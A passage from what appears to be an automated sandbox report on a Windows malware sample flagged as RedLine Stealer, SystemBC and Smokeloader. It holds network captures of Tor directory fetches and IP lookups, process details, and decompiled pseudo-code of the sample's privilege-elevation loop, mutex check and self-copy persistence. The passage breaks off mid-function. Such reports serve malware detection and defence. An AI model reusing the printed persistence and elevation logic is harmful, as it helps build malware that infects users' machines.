10328875extra-info-digest 5FF738FE73726FB4036662F8F2F7235BF41126FF TLPNgOySX7CZ5Nl2yWwbUIl87MtIrYSxb8dDDn1mpowonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMIn/jMSNrFlfOfIYmmgrIjKJpfWcev6vH/FqGAlDOH+JdXNxWcaSMhl2lfaN8h5Bo/CQ8J2agNS/iIpeWpQuUGmacGQHvqp09V3wbN26MKERaaovoTbVdYwSh/U9K6wgip+xbe97fhEkCKZZqaj22HjdIJXR3MOK4nRVRge54PVAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM6zRHS+ek

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49709	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:16.956973076 CEST	2879	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:16.984587908 CEST	2880	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:16 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:16 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49710	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:17.359638929 CEST	2884	OUT	GET /tor/server/fp/cf1c1804c33cd69d8a75587fabc63d5d0e2980fa HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:17.387321949 CEST	2885	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:17 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:17 GMT Data Raw: 72 6f 75 74 65 72 20 44 46 52 49 31 30 20 31 37 31 2e 32 35 2e 31 39 33 2e 32 33 34 20 38 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 48 44 41 57 52 70 47 71 6d 74 43 4f 50 32 41 42 6e 43 45 55 35 71 2b 32 65 4b 75 4b 59 61 51 4e 6f 5a 71 53 58 6d 34 61 69 31 38 53 70 48 41 51 41 67 42 41 44 37 32 2b 70 56 0a 4c 6e 6c 33 48 66 4b 59 45 31 43 75 44 4e 5a 76 58 57 70 49 72 63 59 36 78 42 2f 70 69 47 45 51 74 5a 74 43 78 66 38 62 42 4f 64 45 35 36 43 57 42 61 66 7a 6d 36 56 53 52 47 75 36 6e 79 6a 2b 0a 62 44 52 2b 36 4e 77 57 59 44 6e 6f 50 56 55 72 50 6e 77 75 66 63 56 36 72 49 58 4a 68 70 52 49 78 76 5a 50 68 76 34 43 54 46 34 67 56 46 35 46 32 72 44 44 30 32 62 4f 69 41 77 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 2b 39 76 71 56 53 35 35 64 78 33 79 6d 42 4e 51 72 67 7a 57 62 31 31 71 53 4b 33 47 4f 73 51 66 36 59 68 68 45 4c 57 62 51 73 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 30 30 31 3a 36 37 63 3a 32 38 39 63 3a 32 3a 3a 32 33 34 5d 3a 38 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 32 20 30 36 3a 31 35 3a 30 31 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 46 31 43 20 31 38 30 34 20 43 33 33 43 20 44 36 39 44 20 38 41 37 35 20 35 38 37 46 20 41 42 43 36 20 33 44 35 44 20 30 45 32 39 20 38 30 46 41 0a 75 70 74 69 6d 65 20 33 38 38 38 32 34 0a 62 61 6e 64 77 69 64 74 68 20 31 34 36 38 30 30 36 34 20 31 34 36 38 30 30 36 34 20 31 32 34 38 31 34 34 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 41 32 37 33 34 38 38 33 34 41 37 41 39 46 35 31 36 35 45 42 42 31 46 31 45 34 30 46 31 38 43 42 38 33 36 32 38 33 42 45 20 48 6a 73 35 67 51 73 71 77 37 30 62 2f 2f 74 51 52 64 2b 33 56 6d 69 54 41 65 46 72 55 36 2b 39 57 34 34 51 51 35 62 38 41 52 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 6b 35 61 79 63 69 49 66 79 4c 79 58 51 54 63 68 65 31 69 6a 44 56 43 54 71 42 4a 4b 4e 36 69 4e 72 6b 38 54 69 44 7a 31 45 6a 31 66 49 4a 67 43 70 36 76 79 73 72 0a 72 47 64 4f 33 41 58 45 67 6f 44 4e 6d 55 6b 39 6e 49 72 30 6b 42 52 33 44 45 52 51 42 59 4e 62 67 71 73 53 44 57 55 46 62 59 2b 7a 31 58 66 49 43 36 68 64 46 56 71 76 2b 35 58 73 45 71 6e 59 0a 70 47 4d 44 46 49 52 68 50 64 49 79 68 77 44 47 75 71 37 58 39 51 6a 32 70 6c 75 38 62 67 48 65 74 39 33 46 35 74 77 63 36 62 4a 6a 61 33 49 54 2b 44 42 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 Data Ascii: router DFRI10 171.25.193.234 80 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByHDAWRpGqmtCOP2ABnCEU5q+2eKuKYaQNoZqSXm4ai18SpHAQAgBAD72+pVLnl3HfKYE1CuDNZvXWpIrcY6xB/piGEQtZtCxf8bBOdE56CWBafzm6VSRGu6nyj+bDR+6NwWYDnoPVUrPnwufcV6rIXJhpRIxvZPhv4CTF4gVF5F2rDD02bOiAw=-----END ED25519 CERT-----master-key-ed25519 +9vqVS55dx3ymBNQrgzWb11qSK3GOsQf6YhhELWbQsUor-address [2001:67c:289c:2::234]:80platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-02 06:15:01fingerprint CF1C 1804 C33C D69D 8A75 587F ABC6 3D5D 0E29 80FAuptime 388824bandwidth 14680064 14680064 12481447extra-info-digest A27348834A7A9F5165EBB1F1E40F18CB836283BE Hjs5gQsqw70b//tQRd+3VmiTAeFrU6+9W44QQ5b8ARYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMk5ayciIfyLyXQTche1ijDVCTqBJKN6iNrk8TiDz1Ej1fIJgCp6vysrrGdO3AXEgoDNmUk9nIr0kBR3DERQBYNbgqsSDWUFbY+z1XfIC6hdFVqv+5XsEqnYpGMDFIRhPdIyhwDGuq7X9Qj2plu8bgHet93F5twc6bJja3IT+DBBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PU

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	173.231.16.76	443	C:\ProgramData\micl\kdnku.exe

Timestamp	Direction	Data
2023-04-02 07:49:18 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2023-04-02 07:49:18 UTC	IN	HTTP/1.0 200 OK Content-Length: 13 Content-Type: text/plain Date: Sun, 02 Apr 2023 07:49:18 GMT Vary: Origin
2023-04-02 07:49:18 UTC	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 Data Ascii: 102.129.143.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49721	104.237.62.211	443	C:\ProgramData\micl\kdnku.exe

Timestamp	Direction	Data
2023-04-02 07:50:45 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2023-04-02 07:50:45 UTC	IN	HTTP/1.0 200 OK Content-Length: 13 Content-Type: text/plain Date: Sun, 02 Apr 2023 07:50:45 GMT Vary: Origin
2023-04-02 07:50:45 UTC	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 Data Ascii: 102.129.143.5

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: R53a3ZJHBQ.exePID: 3736, Parent PID: 3528

General

Target ID:	0
Start time:	09:49:01
Start date:	02/04/2023
Path:	C:\Users\user\Desktop\R53a3ZJHBQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\R53a3ZJHBQ.exe
Imagebase:	0x400000
File size:	153600 bytes
MD5 hash:	CC4F80BBBD81CF14599C74E9F8E970AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.306345047.00000000035B2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: kdnku.exePID: 6584, Parent PID: 1088

General

Target ID:	1
Start time:	09:49:03
Start date:	02/04/2023
Path:	C:\ProgramData\micl\kdnku.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\micl\kdnku.exe start
Imagebase:	0x400000
File size:	153600 bytes
MD5 hash:	CC4F80BBBD81CF14599C74E9F8E970AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000001.00000002.566647965.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000001.00000003.308524490.0000000003590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: R53a3ZJHBQ.exePID: 3736, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	66.8%
Signature Coverage:	26.7%
Total number of Nodes:	1395
Total number of Limit Nodes:	21

Executed Functions

Function 00401000 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 119
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			_entry_() {
				char _v772;
				char _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				void* _v1040;
				char _v1044;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t36;
				void* _t51;
				intOrPtr _t53;
				short* _t58;
				void* _t61;

				E00406502( &_v1044, _t61 - _t61 + 0xfffffbf0);
				CreateThread(0, 0, E00405E34, E00405F52, 0, 0); // executed
				GetModuleFileNameA(0,  &_v1028, 0x100); // executed
				_t28 = E00406011(); // executed
				_v1032 = _t28;
				if(_t28 != 0x1000) {
					L5:
					_t29 = E004060CB(_t65, "start"); // executed
					_v1036 = _t29;
					_t30 = _t29;
					if(_t29 == 0) {
						_t13 = E00406862(_t30, 4) + 4; // 0x4
						_t53 = _t13;
						do {
							_t31 = E00406862(_t31, 0x18) + 0x61;
							asm("stosb");
							_t53 = _t53 - 1;
							__eflags = _t53;
						} while (__eflags != 0);
						L11:
						_v1040 = OpenMutexA(0x100000, 0, "kdnku");
						CreateMutexA(0, 0, "kdnku"); // executed
						if(_v1036 == 0) {
							L14:
							EnumWindows(E00405BE5, 0); // executed
							Sleep(0x2710); // executed
							_t70 = _v1032 - 0x1000;
							if(_v1032 == 0x1000) {
								L13:
								E00404949();
								goto L14;
							}
							_t36 = E00405A52(_t70, "a2guard.exe"); // executed
							_t71 = _t36;
							if(_t36 == 0) {
								GetModuleFileNameA(0,  &_v1028, 0x100);
								E00405B74(_t71,  &_v772, "kdnku"); // executed
								CopyFileA( &_v1028,  &_v772, 0); // executed
								E00405662(_t71, "kdnku", 0,  &_v772, "start", 0, 1); // executed
							}
							L17:
							Sleep(0xea60); // executed
							ExitProcess(0); // executed
							return CreateWindowExA();
						}
						if(_v1040 != 0) {
							goto L17;
						}
						goto L13;
					}
					_t58 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x30));
					do {
						asm("movsb");
						_t58 = _t58 + 1;
					} while ( *_t58 != 0x2e);
					goto L11;
				}
				_t51 = 0;
				_v1044 = 0xa;
				while(_t51 <= 0x20) {
					_t65 = _v1044;
					if(_v1044 != 0) {
						_t51 = ShellExecuteA(0, "runas",  &_v1028, 0, 0, 1);
						_t6 =  &_v1044;
						 *_t6 = _v1044 - 1;
						__eflags =  *_t6;
						continue;
					}
					goto L5;
				}
				goto L5;
			}

0x00401014
0x0040102b
0x0040103e
0x00401043
0x00401048
0x00401053
0x00401093
0x00401098
0x0040109d
0x004010a3
0x004010a5
0x004010d3
0x004010d3
0x004010d6
0x004010dd
0x004010e0
0x004010e1
0x004010e1
0x004010e1
0x004010e4
0x004010f5
0x00401104
0x00401110
0x00401124
0x0040112b
0x00401135
0x0040113a
0x00401144
0x0040111f
0x0040111f
0x00000000
0x0040111f
0x0040114b
0x00401150
0x00401152
0x00401162
0x00401173
0x00401188
0x004011a4
0x004011a4
0x004011a9
0x004011ae
0x00406b3f
0x00406b44
0x00406b44
0x00401119
0x00000000
0x00000000
0x00000000
0x00401119
0x004010b3
0x004010bc
0x004010bc
0x004010bd
0x004010be
0x00000000
0x004010c4
0x00401055
0x0040105a
0x00401085
0x0040108a
0x00401091
0x0040107a
0x0040107f
0x0040107f
0x0040107f
0x00000000
0x0040107f
0x00000000
0x00401091
0x00000000

APIs

CreateThread.KERNEL32 ref: 0040102B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00405E34,00405F52,00000000,00000000,?), ref: 0040103E

Part of subcall function 00406011: GetCurrentProcess.KERNEL32 ref: 00406028
Part of subcall function 00406011: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00406036
Part of subcall function 00406011: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00406048
Part of subcall function 00406011: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 0040605F
Part of subcall function 00406011: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040606D
Part of subcall function 00406011: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00406077
Part of subcall function 00406011: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 0040608E
Part of subcall function 00406011: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040609E
Part of subcall function 00406011: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060B6
Part of subcall function 00406011: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060BE

ShellExecuteA.SHELL32(00000000,runas,?,00000000,00000000,00000001), ref: 0040107A
OpenMutexA.KERNEL32 ref: 004010F0
CreateMutexA.KERNEL32(00000000,00000000,kdnku,00100000,00000000,kdnku,00000018,00000004,start,00000000,?,00000100,00000000,00000000,00405E34,00405F52), ref: 00401104
EnumWindows.USER32(00405BE5,00000000), ref: 0040112B
Sleep.KERNEL32(00002710), ref: 00401135
GetModuleFileNameA.KERNEL32(00000000,?,00000100,a2guard.exe,00002710,00405BE5,00000000,00002710), ref: 00401162
CopyFileA.KERNEL32 ref: 00401188
Sleep.KERNEL32(0000EA60,a2guard.exe,00002710,00405BE5,00000000,00002710), ref: 004011AE
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,00405BE5,00000000,00002710), ref: 00406B3F

Strings

runas, xrefs: 00401073
start, xrefs: 00401093, 00401191
kdnku, xrefs: 004010B6, 004010C6, 004010E4, 004010FB, 00401167, 0040119F
a2guard.exe, xrefs: 00401146

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Local$FileProcessToken$AllocCreateFreeInformationModuleMutexNameOpenSleep$AuthorityCloseCopyCurrentEnumExecuteExitHandleShellThreadWindows
String ID: a2guard.exe$kdnku$runas$start
API String ID: 1435776417-4039522169
Opcode ID: 30d84a131fd8e66c5467a4eaf17e2bf711b2b2b8b3eb4a4856bcdd09a829f879
Instruction ID: 5626d3cd850aafbc8c0337932513897932d2f18242d4bc307fbc7ee199822461
Opcode Fuzzy Hash: 30d84a131fd8e66c5467a4eaf17e2bf711b2b2b8b3eb4a4856bcdd09a829f879
Instruction Fuzzy Hash: 0C41ABB068031469EB30A761CD47F997268EB04708F1144BFB745BE1C2DAFC5AC54E1D

Uniqueness

Uniqueness Score: -1.00%

Function 00405662 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00405662(void* __eflags, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				char _v1032;
				char _v1036;
				void* _v1040;
				char _v1044;
				char _v1056;
				short _v1060;
				intOrPtr _v1068;
				intOrPtr _v1072;
				short _v1074;
				short _v1076;
				short _v1078;
				short _v1080;
				short _v1082;
				short _v1084;
				short _v1086;
				short _v1088;
				char _v1092;
				void* _v1096;
				struct _SYSTEMTIME _v1112;
				struct _FILETIME _v1120;
				char _v1376;
				char _v1888;
				char _v2144;
				char _v2400;
				char _v2656;
				char _v2912;
				char _v3168;
				char _v3424;
				char* _t102;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr* _t115;
				void* _t120;
				intOrPtr* _t122;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t132;
				intOrPtr* _t135;
				void* _t143;
				short _t151;
				intOrPtr* _t154;
				intOrPtr* _t160;
				intOrPtr* _t163;
				intOrPtr* _t165;
				intOrPtr* _t167;
				intOrPtr* _t169;
				intOrPtr* _t174;

				E00406709(__eflags, _a4,  &_v1376);
				E00406709(__eflags, _a12,  &_v1888);
				E004059B1(__eflags, _a4); // executed
				_push(0);
				L00406D12();
				E00406519(0x4080c3, 0x10,  &_v2400);
				E00406519(0x4080d3, 0x10,  &_v2656);
				_push( &_v8);
				_push( &_v2656);
				_push(1);
				_push(0);
				_t102 =  &_v2400;
				_push(_t102);
				L00406D0C();
				if(_t102 >= 0) {
					E00406519(0x4080e3, 0x10,  &_v2912);
					E00406519(0x4080f3, 0x10,  &_v3168);
					_t111 = _v8;
					_t113 =  *((intOrPtr*)( *((intOrPtr*)( *_t111 + 0x20))))(_t111,  &_v1376,  &_v3168,  &_v2912,  &_v12); // executed
					if(_t113 >= 0) {
						_t115 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t115 + 0x70))))(_t115, 0x2202);
						E00406502( &_v1036, 0x400); // executed
						_t120 = E00406011(); // executed
						if(_t120 != 0x4000 && _t120 != 0x3000) {
							_v1036 = 0x100;
							_push( &_v1036);
							_push( &_v1032);
							_push(2);
							L00406D48();
						}
						_t122 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t122 + 0x78))))(_t122,  &_v1032, 0);
						_t126 = _v12;
